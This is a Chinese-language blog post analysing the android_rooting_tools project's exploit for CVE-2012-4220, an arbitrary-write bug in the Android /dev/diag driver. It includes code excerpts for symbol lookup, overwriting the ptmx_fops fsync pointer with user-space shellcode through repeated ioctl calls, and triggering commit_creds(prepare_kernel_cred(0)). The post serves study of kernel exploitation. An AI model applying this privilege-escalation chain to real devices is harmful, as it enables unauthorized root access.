1. 程式人生 > >android_rooting_tools 項目介紹(CVE-2012-4220)

android_rooting_tools 項目介紹(CVE-2012-4220)

mem targe 項目介紹 UNC () put_user lba hack diag

android_rooting_tools是GITHUB上的一個Android內核漏洞提權項目,包含多套內核漏洞的exploit代碼:

EXPLOITCVE簡單描述
libdiagexploit CVE-2012-4220 任意地址寫有限任意值
libfb_mem_exploit CVE-2013-2596 整數溢出導致remap_pfn_range校驗繞過
libfj_hdcp_exploit 未知
libfutex_exploit CVE-2014-3153 UAF, TowelRoot
libget_user_exploit CVE-2013-6282 get_user邊界未校驗致任意地址寫
libmsm_acdb_exploit CVE-2013-2597 棧溢出
libmsm_cameraconfig_exploit CVE-2013-2595
libperf_event_exploit CVE-2013-2094
libpingpong_exploit CVE-2015-3636 UAF, Pingpong Root
libput_user_exploit CVE-2013-6282 put_user邊界未校驗致任意地址寫

下面通過 libdiagexploit 這份漏洞利用代碼,分析一下項目源碼。

libdiagexploit利用的CVE-2012-4220,這是一個驅動設備ioctl接口的任意地址寫有限的任意值漏洞。

漏洞代碼如下:

  8  long diagchar_ioctl(struct file *filp,
  9          unsigned int iocmd, unsigned long ioarg)
/* ... */  
  18   if (iocmd == DIAG_IOCTL_COMMAND_REG) {
/* ... */
 72   } else if (iocmd == DIAG_IOCTL_GET_DELAYED_RSP_ID) {
 73     struct diagpkt_delay_params *delay_params =
 74           (struct diagpkt_delay_params *) ioarg;
 75 
 76     if ((delay_params->rsp_ptr) &&
 77      (delay_params->size == sizeof(delayed_rsp_id)) &&
 78          (delay_params->num_bytes_ptr)) {
 79       *((uint16_t *)delay_params->rsp_ptr) =
 80         DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
 81       *(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);
 82       success = 0;
 83     }
 84   } else if (iocmd == DIAG_IOCTL_DCI_REG) {
 /* ... */

在處理DIAG_IOCTL_GET_DELAYED_RSP_ID命令時,ioarg由用戶態的ioctl調用傳入,其值完全受用戶控制,上述漏洞代碼在進行delay_params->rsp_ptr和delay_params->num_bytes_ptr賦值時,未校驗其地址合法性:

*((uint16_t *)delay_params->rsp_ptr) =
          DIAGPKT_NEXT_DELAYED_RSP_ID(delayed_rsp_id);
*(delay_params->num_bytes_ptr) = sizeof(delayed_rsp_id);
#define DIAGPKT_MAX_DELAYED_RSP 0xFFFF

#define DIAGPKT_NEXT_DELAYED_RSP_ID(x)         ((x < DIAGPKT_MAX_DELAYED_RSP) ? x++ : DIAGPKT_MAX_DELAYED_RSP)

DIAGPKT_NEXT_DELAYED_RSP_ID宏使用全局變量delayed_rsp_id值每次加1,其範圍被限制在2-0xFFFF之間,因此通過多次調用此接口,可以達成任意地址寫有限的任意值。

下面分析android_rooting_tools如何利用這個漏洞提權。

android_rooting_tools的入口函數在main.c:

int
main(int argc, char **argv)
{
/* ... */
  device_detected();

  if (!setup_variables()) {
    printf("Failed to setup variables.\n");
    exit(EXIT_FAILURE);
  }

  run_exploit();

  if (getuid() != 0) {
    printf("Failed to obtain root privilege.\n");
    exit(EXIT_FAILURE);
  }
/* ... */
}

首先通過device_detected()函數獲得設備信息,android_rooting_tools通過sqlite數據庫存放了一些已知設備的符號地址等硬編碼信息,如果匹配到的話,就不需要計算直接賦值。

這是比較有用的,比如某些設備打開了kptr_strict,讀取不到符號地址,通過查詢數據庫也可以達到相同目的。

setup_variables()來進行幾個全局變量初始化工作,包括:

  1. prepare_kernel_cred() 函數地址
  2. commit_creds() 函數地址
  3. ptmx_fops 結構地址

為了盡可能保證取到這3個符號地址,android-rooting-tools使用了3種方式

  1. 讀取數據庫(device_get_symbol_address函數)
  2. 通過/proc/kallsyms讀取(kallsyms_get_symbol_address函數)
  3. 通過內存暴力搜索(run_with_mmap或run_with_memcpy函數)

根據初始化信息,可以看出android-rooting-tools使用的是一個非常常用的提權套路:

  1. 提權的shellcode在用戶地址空間,主要代碼是 commit_creds(prepare_kernel_cred(0));
  2. 在ptmx_fops結構中,通過+0x38偏移,找到fsync()函數地址
  3. 通過任意直址寫漏洞,將fsync()地址替換成shellcode 地址
  4. 用戶態調用fsync(fd),觸發shellcode執行,完成提權

繼續看,run_exploit()是完成提權的主要代碼。然後通過getuid()判斷提權是否成功。

static bool
run_exploit(void)
{
/* ... */
  return attempt_exploit(ptmx_fops_fsync_address,
                (unsigned long int)&obtain_root_privilege, 
                0,
                run_obtain_root_privilege, 
                NULL);
}

run_exploit主要調用了attempt_exploit函數,其中ptmx_fops_fsync_address是fsync符號地址,可以看到它是從ptmx_fops+0x38處取的:

ptmx_fops_fsync_address = (unsigned long int)ptmx_fops + 0x38;

參數obtain_root_privilege傳入的是shellcode的函數指針,run_obtain_root_privilege是一個回調函數,用於在準備條件完成後,進行提權操作:

static bool
run_obtain_root_privilege(void *user_data)
{
/* ... */
  obtain_root_privilege_func = obtain_root_privilege_by_commit_creds;

  fd = open(PTMX_DEVICE, O_WRONLY);
  ret = fsync(fd);

  if (getuid() != 0) {
    printf("commit_creds(): failed. Try to hack task->cred.\n");

    obtain_root_privilege_func = obtain_root_privilege_by_modify_task_cred;
    ret = fsync(fd);
  }
/* ... */
}

可以看到,代碼首先使用commit_creds進行提權,當提權失敗時,使用了另一種直接修改task_cred結構的方式提權,這裏先暫不介紹。

attempt_exploit中使用了多種漏洞利用代碼進行提權,這些漏洞類型包含在上面介紹的列表中:

bool
attempt_exploit(unsigned long int address, //fsync地址
                unsigned long int write_value,  //shellcode地址
                unsigned long int restore_value,
                exploit_callback_t callback_func,
                void *callback_param)
{
  callback_info_t info;
/* 設置回調函數及參數 */
  info.func = callback_func;
  info.param = callback_param;
  info.result = false;

  // Attempt exploits in most stable order
/* 提權操作 */
  printf("Attempt acdb exploit...\n");
/* ... */
  if (attempt_diag_exploit(address, write_value, &info)) {
    return info.result;
  }
}

代碼只保留attempt_diag_exploit,也就是針對CVE-2012-4220的漏洞利用,其中info中包含的是漏洞利用是否成功的狀態,和回調函數地址。

static bool
attempt_diag_exploit(unsigned long int address, //fsync地址
                     unsigned long int write_value, //shellcode地址
                     callback_info_t *info)
{
  struct diag_values injection_data;

  if (write_value > (uint16_t)-1) {
    return false;
  }

  injection_data.address = address;
  injection_data.value = (uint16_t)write_value;

  return diag_run_exploit(&injection_data, 1, &run_callback, info);
}

diag_run_exploit在libdiagexploit目錄下的diag.c文件實現:

bool
diag_run_exploit(struct diag_values *data, int data_length,
                 bool(*exploit_callback)(void* user_data), void *user_data)
{
  fd = open("/dev/diag", O_RDWR);
  success = diag_inject_with_fd(data, data_length, fd);

  if (success) {
    success = exploit_callback(user_data);
    restore_values(data, data_length, fd);
  }
/* ... */
}

主要有3個功能
1. diag_inject_with_fd()修改fsync地址為shellcode地址
2. 用戶態調用fsync()觸發提權
3. 調用restore_values()恢復fsync原始值

因此,核心代碼在diag_inject_with_fd中:

bool
diag_inject_with_fd(struct diag_values *data, int data_length, int fd)
{
/* ... */
//data_length = 1
  for (i = 0; i < data_length; i++) {
    if (!inject_value(&data[i], fd, delayed_rsp_id_address)) {
      return false;
    }
  }
/* ... */
}

diag_inject_with_fd()函數中,先獲取delay_rsp_id變量的地址,並調用inject_value()進行實際的任意地址修改,這裏註意for循環中,傳入的data_length為1:

static bool
inject_value(struct diag_values *data,
             int fd, void *delayed_rsp_id_address)
{
/* 獲取當前delayed_rsp_id值,用於還原 */
  ret = get_current_delayed_rsp_id(fd);
/* ... */
  data->original_value = delayed_rsp_id_value;
/* 如果要寫入的大於delayed_rsp_id,則重置為2(2-0xFFFF)
    因為DIAGPKT_NEXT_DELAYED_RSP_ID宏會遞增這個值,
    註意我們只能控制16位即2字節的數據,如果需要寫一個32位地址需寫2次
 */
  if (delayed_rsp_id_value > data->value &&
    reset_delayed_rsp_id(fd, delayed_rsp_id_address) < 0) {
    return false;
  }
/* 每次調用使delayed_rsp_id值加1,這裏計算需要調用的次數 */
  loop_count = (data->value - delayed_rsp_id_value) & 0xffff;

  for (i = 0; i < loop_count; i++) {
    int unused;
    if (send_delay_params(fd, (void *)data->address, &unused) < 0) {
      return false;
    }
  }
  return true;
}

最終for循環的最後一次調用 send_delay_params(fd, (void *)data->address, &unused) 會將 data->address 賦值為 delayed_rsp_id 的值,也就是有限範圍內(2-0xFFFF)我們指定的一個任意值。

由上面傳遞參數可以知道,data->address即fsync地址,最終的delayed_rsp_id是data->value值,也即shellcode地址。

delayed_rsp_id的值通過DIAG_IOCTL_GET_DELAYED_RSP_ID命令獲取,其它reset等操作類似:

  struct diagpkt_delay_params params;

  params.rsp_ptr = target_address;
  params.size = 2;
  params.num_bytes_ptr = stored_for_written_bytes;

  ret = ioctl(fd, DIAG_IOCTL_GET_DELAYED_RSP_ID, &params);

到目前為止,我們已經將內核fsync函數地址改為了用戶態shellcode的地址,只要在用戶態調用fsync()函數,系統將會通過中斷調用到內核態fsync函數,執行shellcode實現提權。

android_rooting_tools 項目介紹(CVE-2012-4220)